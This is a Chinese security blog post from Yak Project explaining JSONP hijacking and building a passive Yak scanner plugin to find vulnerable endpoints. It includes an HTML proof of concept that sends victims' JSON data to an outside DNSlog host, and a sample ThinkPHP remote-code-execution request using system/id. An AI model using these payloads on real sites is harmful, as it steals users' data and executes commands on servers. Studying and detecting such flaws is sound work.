跳到主要内容

漏洞分析:基于 Yak 的 JSONP 被动检测

· 阅读需 6 分钟
Yak ProjectYak Project

什么是JSONP劫持漏洞

同源策略(同协议、同域名、同端口)导致的不同域名的网站无法传输数据,但是在某些时刻我们有需要进行跨域传输数据。

这时候jsonp身为跨域的方法中的一个就孕育而生了,由于html标签中的<script><img><iframe> 这三个标签是允许进行资源的跨域获取的,jsonp就是利用了这三个标签中的其中一个 <script> 利用js代码动态生成script标签然后利用标签中的src属性来进行资源的跨域调用。

在数据传输未设置有效的校验的情况下,就有可能导致JSONP劫持漏洞,造成信息泄漏。

在配置存在问题的情况下,jsonp使用回调函数来在第三方网站调出我们的敏感信息,从而达到获取敏感信息的目的,常见的利用场景如下:

  • 获取个人信息,蓝队反制,蜜罐溯源等等
  • 用于跨域传输数据,通过jsonp发起请求,得到泄露的csrf_token然后,利用这个token 实现CSRF 攻击

JSONP 漏洞挖掘原理

常规方式

  • 使用火狐/谷歌浏览器打开开发者模式,选择Network,勾选Preserve log选项,防止干扰

在左下搜栏目寻找或者在可能存在jsonp的地方添加检索相应的关键字,访问目标相关网站即可:

jsonp
jsoncb
jsonpcb
cb
json
jsonpcall
jsoncall
jQuery
callback
back

在JSONP挖掘中,并不是只有callback才会出现JSONP漏洞,我们可以自己构造调用,毕竟<script>标签不支持同源策略,只要没有referer等限制,就有可能存在漏洞,其中POC如下:(这里使用DNSlog来获取回调的信息):

<script type="text/javascript">function jsonp_1610359498402_9620(json){
alert(JSON.stringify(json))
new Image().src="http://xxxx6.ceye.io/" + JSON.stringify(json)
}</script>
<script src="https://pcw-api.xxxxx.com/passport/user/userinfodetail?area=tw&callback=jsonp_1610359498402_9620"></script>

效果如下:

使用Yak被动扫描jsonp漏洞

通过上面我们可以知道,jsonp的搜索与发现是个比较容易流程化的操作,而且相对于主动扫描,被动发现也更加适合,因此我们这里可以写一个被动扫描插件,来代替手工操作

其中Yak的开发文档如下:

https://www.yaklang.io/docs

打开Yakit,选择【插件仓库】,选择【+新插件】,这里的插件有三种模式:

  • 以 Webhook 为通信媒介的原生 Yak 模块,通过核心引擎启动新的 yak 执行进程来控制执行过程;
  • 以 MITM 劫持过程为基础 Hook 点的 Yak 模块,
  • 以 Yaml 为媒介封装 Nuclei PoC 的模块,本质上也是执行一段 Yak 代码,原理与(1)相同

我们使用MITM模块

这里我们需要了解的几个函数已经存在注释了,讲得很清楚。 jsonp 主要出现在请求参数里面,因此使用mirrorNewWebsitePathParams 模块,其他的不用注释掉就好

# mitm plugin template
yakit_output(MITM_PARAMS)
__test__ = func() {
results, err := yakit.GenerateYakitMITMHooksParams("GET", "https://example.com")
if err != nil {
return
}
isHttps, url, reqRaw, rspRaw, body = results
mirrorNewWebsitePathParams(results...)
}
# mirrorNewWebsitePathParams 每新出现一个网站路径且带有一些参数,参数通过常见位置和参数名去重,去重的第一个 HTTPFlow 在这里被调用
mirrorNewWebsitePathParams = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) {
}

在被动接收流量后,我们首先应当筛选出包含jsonp的请求,这里使用关键字匹配的方式进行搜索:

# 请求存在关键词检测为jsonp数据
availableJSONPParamNames = [
"jsonp","jsoncb","jsonpcb","cb","json","jsonpcall","jsoncall","jQuery","callback","back",
]

字符串的比对中,使用 str 工具库进行,这里注意大小写问题

str.StringSliceContains(availableJSONPParamNames, str.ToLower(paramName))

在Yak中,提供了 fuzz 工具库来进行请求的发送与接收,例如官方提供的POC如下

# fuzz.HTTPRequest 可以直接 接收 req 数据 进行发送,并允许一定的错误
fReq, err := fuzz.HTTPRequest(`
POST /index.php?s=captcha HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
`)
# Yak 的报错处理类似于golang
if err != nil {
die(err)
}
# 发送请求,接收返回数据
reqs, err := fReq.Exec()
if err != nil {
die(err)
}

for rsp = range reqs {
if rsp.Error != nil {
log.error(rsp.Error)
continue
}
if re.Match(`((uid\=\d*)|(gid\=\d*)|(groups=\d*))`, rsp.ResponseRaw) {
println("found thinkphp vuls...")
break
}
}

在获取jsonp的URL后,我们还要判断返回的数据中是否存在敏感信息,这里使用正则表达式re进行匹配

re.Match(`(nick)|(pass)|(name)|(data)`,rsp.ResponseRaw)

最后的逻辑思维如下:

  1. 首先从流量中筛选出可能存在jsonp的流量
  2. 发送请求包,看返回值是否存在敏感信息
  3. 去掉referer,cookie等信息,看是否还会返回敏感信息

不得不说Yak的插件做到了简单快速,在不到半天的情况下,就从 0基础 到可以写出一个脚本来,最后代码如下:

# mitm plugin template

yakit_output(MITM_PARAMS)

#--------------------------WORKSPACE-----------------------------
__test__ = func() {

results, err := yakit.GenerateYakitMITMHooksParams("GET", "http://127.0.0.1:8084/?jsonp=jQuery2398423949823")
if err != nil {
return
}
isHttps, url, reqRaw, rspRaw, body = results
mirrorNewWebsitePathParams(results...)
}
# 请求存在关键词检测为jsonp数据
availableJSONPParamNames = [
"jsonp","jsoncb","jsonpcb","cb","json","jsonpcall","jsoncall","jQuery","callback","back",
]
# mirrorNewWebsitePathParams 每新出现一个网站路径且带有一些参数,参数通过常见位置和参数名去重,去重的第一个 HTTPFlow 在这里被调用
mirrorNewWebsitePathParams = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) {
# 用于匹配筛选字符目前我是这么理解的
freq, err := fuzz.HTTPRequest(req, fuzz.https(isHttps))
die(err)

for _, param := range freq.GetCommonParams() {
//yakit_output(sprintf("start to test url[%v]'s param: %v[%v]", url, param.Name(), param.Position()))
paramName = param.Name() # 获取各种参数名
#yakit_output(paramName)
# str.ToLower 字符串变小写
if str.StringSliceContains(availableJSONPParamNames, str.ToLower(paramName)) {
#yakit_save(url)
# 请求查看返回包是否存在敏感字段
fReq, err1 := fuzz.HTTPRequest(req,fuzz.https(isHttps))
die(err1)
reqs, err2 := fReq.Exec()
die(err2)
for rsp = range reqs {
if re.Match(`(nick)|(pass)|(name)|(data)`,rsp.ResponseRaw) {
yakit_output(url)
yakit_save(url)
}
}
}
}
}

后期挂着就行了,时不时翻一翻看看有没有什么收获

成功水到漏洞


本文首发于 Yak Project 公众号,阅读原文